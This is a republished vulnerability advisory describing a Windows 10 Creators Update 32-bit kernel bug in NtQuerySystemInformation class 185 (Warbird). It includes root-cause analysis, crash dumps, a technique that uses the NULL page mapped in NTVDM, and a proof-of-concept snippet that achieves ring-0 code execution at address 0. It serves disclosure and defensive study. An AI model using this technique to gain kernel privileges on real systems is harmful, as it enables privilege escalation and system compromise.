Microsoft Windows 10 Creators Update 32-bit Ring-0 Code Execution

2017.10.30
Credit: Jurczyk
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Windows 10 Creators Update 32-bit execution of ring-0 code from NULL page via NtQuerySystemInformation (class 185, Warbird functionality) In Windows 10 Creators Update (version 1703), a new information class 185 was introduced to the NtQuerySystemInformation system call, which is handled by the internal nt!WbDispatchOperation function. Non-privileged users in the system can freely trigger it. The routine supports a number of different operations (WbDecryptEncryptionSegment, WbReEncryptEncryptionSegment, WbHeapExecuteCall and so on), but before any of them are performed, nt!WbGetWarbirdProcess is called to acquire the so-called warbird process. Under the hood, the function operates on a global nt!g_warbirdExtension structure of type WARBIRD_EXTENSION, which has been reverse-engineered to the following layout: --- cut --- 00000000 _WARBIRD_EXTENSION struc ; (sizeof=0x18) 00000000 elem_size dd ? 00000004 count dd ? 00000008 capacity dd ? 0000000C dataptr dd ? 00000010 realloc_delta dd ? 00000014 cmp_func dd ? 00000018 _WARBIRD_EXTENSION ends --- cut --- In other words, it's a simple dynamically-sized container with an associated comparator function. The container is operated on by functions such as nt!WbAddLookupEntry, nt!WbRemoveLookupEntry and nt!WbFindLookupEntry, all of which assume that the structure has been successfully initialized. Its initialization is performed in nt!WbInitialize (<--- nt!ClipInitHandles <--- nt!ExInitLicenseData <--- nt!Phase1InitializationIoReady <--- nt!Phase1Initialization <--- ...), but only if the nt!WbGetServiceDescriptorIndex call succeeds first. The purpose of nt!WbGetServiceDescriptorIndex is to locate the index of the NtQuerySystemInformation entry in the system call table, as shown in the pseudo-code below: --- cut --- v2 = 0; v3 = -1; v4 = 0; if ( KiServiceLimit ) { v5 = KeServiceDescriptorTable; while ( (KeServiceDescriptorTable + (*(v5 + 4 * v4) >> 4)) != NtQuerySystemInformation ) { v5 = KeServiceDescriptorTable; if ( ++v4 >= KiServiceLimit ) goto label_return; } v3 = v4; } label_return: if ( a2 ) *a2 = v3; if ( v3 == -1 ) v2 = STATUS_NO_MATCH; --- cut --- Strangely enough, the implementation of the function is exactly the same on x86 and x64 builds of the system, even though the syscall tables have different binary formats. On x86, it is a simple list of direct function addresses, while on x64 it's a list of offsets relative to nt!KeServiceDescriptorTable and shifted by 4 bits to the left. As a result, the function simply fails to locate the NtQuerySystemInformation address on 32-bit builds, thus leaving the nt!g_warbirdExtension structure uninitialized (filled with zeros). When a user-mode program calls NtQuerySystemInformation(185, ...) to trigger operations on the zero-ed out container, internal functions will attempt to dereference NULL pointers, as shown in the example below: --- cut --- KMODE_EXCEPTION_NOT_HANDLED (1e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 816d42cc, The address that the exception occurred at Arg3: 00000001, Parameter 0 of the exception Arg4: 00000000, Parameter 1 of the exception [...] TRAP_FRAME: 8d03b5c0 -- (.trap 0xffffffff8d03b5c0) ErrCode = 00000002 eax=00000000 ebx=00000000 ecx=ca5f0f70 edx=00000000 esi=8141d700 edi=00000000 eip=816d42cc esp=8d03b634 ebp=8d03b644 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!WbAddLookupEntryEx+0x82: 816d42cc 8908 mov dword ptr [eax],ecx ds:0023:00000000=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 81398dad to 81319c34 STACK_TEXT: 8d03ab14 81398dad 00000003 6139b020 00000065 nt!RtlpBreakWithStatusInstruction 8d03ab68 813987f5 847cb340 8d03af88 8d03afbc nt!KiBugCheckDebugBreak+0x1f 8d03af5c 81318aba 0000001e c0000005 816d42cc nt!KeBugCheck2+0x739 8d03af80 813189f1 0000001e c0000005 816d42cc nt!KiBugCheck2+0xc6 8d03afa0 813c8ab4 0000001e c0000005 816d42cc nt!KeBugCheckEx+0x19 8d03afbc 8132e772 8d03b4e8 81434168 8d03b0b0 nt!KiFatalExceptionHandler+0x1a 8d03afe0 8132e744 8d03b4e8 81434168 8d03b0b0 nt!ExecuteHandler2+0x26 8d03b0a0 812a0540 8d03b4e8 8d03b0b0 00010037 nt!ExecuteHandler+0x24 8d03b4cc 8132a155 8d03b4e8 00000000 8d03b5c0 nt!KiDispatchException+0x228 8d03b538 8132ca57 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51 8d03b538 816d42cc 00000000 00000000 00000000 nt!KiTrap0E+0x1a7 8d03b644 816d4244 8d03b670 00000000 00000000 nt!WbAddLookupEntryEx+0x82 8d03b65c 816d2242 ca5f0f70 00001498 00000004 nt!WbAddLookupEntry+0x32 8d03b68c 816d2596 ca9a0ff8 00000000 00000001 nt!WbAddWarbirdProcess+0x20 8d03b6a8 816d1c65 8d03b6e0 6139adb4 00000008 nt!WbGetWarbirdProcess+0xf9 8d03b6fc 815a781d 6139a0ac 000000b9 00d6fa3c nt!WbDispatchOperation+0xe1 8d03bbe4 8146d16a 00000000 00d6fb18 00000008 nt!ExpQuerySystemInformation+0x13a66f 8d03bbfc 81329397 000000b9 00d6fb18 00000008 nt!NtQuerySystemInformation+0x40 8d03bbfc 770c4350 000000b9 00d6fb18 00000008 nt!KiSystemServicePostCall [...] --- cut --- If NTVDM (support for legacy 16-bit programs) is enabled in the system, the NTVDM.EXE process will have the NULL page mapped. If we spawn a 16-bit application (e.g. debug.exe) and inject our exploit into ntvdm, we can prevent the system from instantly crashing when trying to write to address 0 in nt!WbAddLookupEntryEx. Then, upon a second call to NtQuerySystemInformation(185, ...), the nt!WbFindLookupEntry function will believe that nt!g_warbirdExtension has a positive number of elements (since one has already been added), and will thus invoke the comparator function specified in nt!g_warbirdExtension.cmp_func. In the case of uninitialized nt!g_warbirdExtension on 32-bit platforms, this will simply result in transferring kernel code execution to address 0x00000000, where we can easily map our shellcode. An example proof-of-concept code to be injected into the ntvdm process is as follows: --- cut --- BYTE Buffer[8]; DWORD BytesReturned; RtlZeroMemory(Buffer, sizeof(Buffer)); NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned); RtlCopyMemory(NULL, "\xcc", 1); RtlZeroMemory(Buffer, sizeof(Buffer)); NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned); --- cut --- The result of running this code is shown below in the form of a WinDbg output log, which demonstrates the execution of the controlled int3 instruction (0xcc byte) at address 0: --- cut --- 1: kd> g Break instruction exception - code 80000003 (first chance) 00000000 cc int 3 0: kd> k # ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 00 d99a8638 813acb5f 0x0 01 d99a8660 8128186c nt!WbFindLookupEntry+0x12b2e1 02 d99a8688 814d04fe nt!WbFindWarbirdProcess+0x26 03 d99a86a8 814cfc65 nt!WbGetWarbirdProcess+0x61 04 d99a86fc 813a581d nt!WbDispatchOperation+0xe1 05 d99a8be4 8126b16a nt!ExpQuerySystemInformation+0x13a66f 06 d99a8bfc 81127397 nt!NtQuerySystemInformation+0x40 07 d99a8bfc 772b4350 nt!KiSystemServicePostCall --- cut --- A local attacker could exploit the issue to execute arbitrary code with kernel privileges. As far as we've tested, it is only exploitable on Windows 10 Creators Update 32-bit with NTVDM enabled. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: mjurczyk


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top